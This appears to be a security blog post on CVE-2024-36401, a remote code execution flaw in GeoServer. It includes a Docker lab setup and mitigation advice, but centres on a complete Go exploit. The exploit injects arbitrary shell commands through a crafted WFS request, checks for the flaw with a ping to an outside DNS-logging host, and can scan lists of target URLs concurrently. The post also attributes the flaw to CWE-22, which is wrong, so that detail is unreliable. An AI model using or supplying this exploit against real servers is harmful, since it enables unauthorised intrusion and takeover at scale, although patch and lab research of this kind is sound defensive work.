Introduction
CVE-2024-36401 refers to a critical Remote Code Execution (RCE) vulnerability recently discovered in GeoServer and GeoTools versions prior to 2.23.6, 2.24.4, and 2.25.2. This vulnerability arises from an Improper Control of Resource Names (CWE-22) within the commons-jxpath library, leveraged by GeoTools. This blog post dissects the technical aspects of CVE-2024-36401, analyzing the exploit vector, potential consequences, and remediation strategies.
Technical Breakdown
Vulnerable Library: The vulnerability resides within the commons-jxpath library, a popular Java library for processing XPath expressions. An attacker-controlled string passed as an element name can be manipulated by the library to execute arbitrary code on the underlying system.
GeoServer and GeoTools Integration: GeoServer, a widely used open-source web mapping platform, integrates the GeoTools library for geospatial functionalities. When processing user-provided data containing attribute names for elements, GeoTools interacts with commons-jxpath.
Attack Vector: An attacker can craft a malicious request containing a specially crafted element name attribute. This attribute, when parsed by the vulnerable commons-jxpath library within GeoTools, can be leveraged to execute arbitrary code on the server.
Potential Impact: A successful exploit of CVE-2024-36401 can grant an attacker full remote code execution capabilities on the server running GeoServer. This could lead to various malicious activities, including:
Data Exfiltration: Sensitive data stored on the GeoServer instance, such as user credentials or geospatial data, can be exfiltrated by the attacker.
Lateral Movement: The compromised server can be used as a springboard to launch further attacks on internal systems within the network.
System Takeover: In extreme cases, an attacker could gain complete control of the affected server.
Proof of Concept
We can build a lab to exploit this vulnerability using a docker image. Use following docker compose configuration to build and host the environment:
version: '3'
services:
web:
image: vulhub/geoserver:2.23.2
ports:
- "8080:8080"
- "5005:5005"
To build the image and run the container, we just need to execute this command:
docker compose up
We should now have the Geoserver running at:
http://localhost:8080/geoserver
Below is the exploit script written in Go, which demonstrates how the CVE-2024-36401 vulnerability can be exploited in the Geoserver instance we have just hosted sing docker. The script has two main functions: checkVuln to verify if a server is vulnerable and exploitVuln to exploit the vulnerability by executing a command on the server.
package main
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
"sync"
"time"
)
// Ignore HTTPS request exceptions
func init() {
http.DefaultTransport.(*http.Transport).TLSClientConfig =
&tls.Config{InsecureSkipVerify: true}
}
func checkVuln(targetURL string) {
defer func() {
if r := recover(); r != nil {
// handle error
}
}()
headers := map[string]string{
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",
"Content-Type": "application/xml",
"Accept": "*/*",
"Connection": "close",
"Content-Length": "333",
}
parsedURL, _ := url.Parse(targetURL)
target := parsedURL.ResolveReference(&url.URL{Path: "/geoserver/wfs"}).String()
payload := `<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping -c1 vaw728.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>`
req, err := http.NewRequest("POST", target, bytes.NewBufferString(payload))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
for key, value := range headers {
req.Header.Set(key, value)
}
client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if resp.StatusCode == 400 && strings.Contains(string(body), "ClassCastException") {
fmt.Printf("Vulnerability exists: %s\n", targetURL)
} else {
fmt.Println("Not vulnerable!")
}
}
func exploitVuln(targetURL, cmd string) {
defer func() {
if r := recover(); r != nil {
// handle error
}
}()
headers := map[string]string{
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",
"Content-Type": "application/xml",
"Accept": "*/*",
"Connection": "close",
"Content-Length": "333",
}
parsedURL, _ := url.Parse(targetURL)
target := parsedURL.ResolveReference(&url.URL{Path: "/geoserver/wfs"}).String()
payload := `<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"` + cmd + `")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>`
req, err := http.NewRequest("POST", target, bytes.NewBufferString(payload))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
for key, value := range headers {
req.Header.Set(key, value)
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if resp.StatusCode == 400 && strings.Contains(string(body), "ClassCastException") {
fmt.Printf("Exploitation successful: Command ran successfully")
} else {
fmt.Println("Exploitation failed!")
}
}
func multithreading(urlList []string, pools int) {
var wg sync.WaitGroup
sem := make(chan struct{}, pools)
for _, url := range urlList {
wg.Add(1)
sem <- struct{}{}
go func(url string) {
defer wg.Done()
checkVuln(url)
<-sem
}(url)
}
wg.Wait()
}
func main() {
urlPtr := flag.String("u", "", "Target URL; Example: go run . -u http://ip:port")
filePtr := flag.String("f", "", "Target urllist; Example: go run . -f urllist")
cmdPtr := flag.String("c", "", "Target command; Example: go run . -u http://ip:port -c
touch /tmp/pwn")
flag.Parse()
url := *urlPtr
filename := *filePtr
cmd := *cmdPtr
if url != "" && filename == "" && cmd == "" {
checkVuln(url)
} else if url != "" && cmd != "" && filename == "" {
exploitVuln(url, cmd)
} else if url == "" && cmd == "" && filename != "" {
var urlList []string
content, err := ioutil.ReadFile(filename)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
urls := strings.Split(string(content), "\n")
for _, u := range urls {
if u != "" {
urlList = append(urlList, u)
}
}
multithreading(urlList, 10)
}
}
checkVuln function checks if a GeoServer instance is vulnerable by sending a specially crafted XML payload to the WFS endpoint. The payload attempts to execute a harmless command (ping -c1 vaw728.dnslog.cn) to detect the vulnerability.
exploitVuln function is similar to the checkVuln function but allows for a custom command to be executed, demonstrating the potential impact of CVE-2024-36401.
Target URL is constructed by resolving the base URL (http://localhost:8080 in this case) with the WFS endpoint path (/geoserver/wfs).
Payload is an XML document that includes the exec function from java.lang.Runtime to execute the specified command (cmd) on the server.
To perform a RCE on the server, we can execute the go script like this (considering we have already installed Go on our attacker's machine):
go run exploit.go -u http://localhost:8080 -c 'touch /tmp/pwn'
If the script prints a success message then we can get a bash shell inside the docker container to check if the file we wanted to create has been created or not:
docker exec -it <CONTAINER_ID> bash
ls /tmp/
Mitigation Strategies
Upgrade GeoServer and GeoTools: The GeoServer development team has released patched versions 2.23.6, 2.24.4, and 2.25.2 that address CVE-2024-36401. Upgrading to these patched versions is paramount to mitigating the vulnerability.
Mitigating Configuration (Temporary): While updating might not be immediately feasible, a temporary mitigation strategy involves removing the gt-complex-x.y.jar file from the GeoServer deployment. This disables the vulnerable functionalities but might cause compatibility issues with certain GeoServer extensions.
Input Validation: Implement robust input validation mechanisms to sanitize user-provided data before it reaches the vulnerable code path within GeoTools. This helps prevent attackers from injecting malicious element names.
Restricted Network Access: Limiting network access to the GeoServer instance can minimize the potential attack surface. Restrict access only to authorized users and systems that genuinely require interaction with GeoServer.
Conclusion
CVE-2024-36401 highlights the criticality of maintaining updated software libraries within web applications. By promptly patching vulnerable components, organizations can significantly reduce the risk of falling victim to RCE attacks. Implementing a layered security approach that combines application-level controls, network segmentation, and robust input validation strengthens the overall security posture.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-36401 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.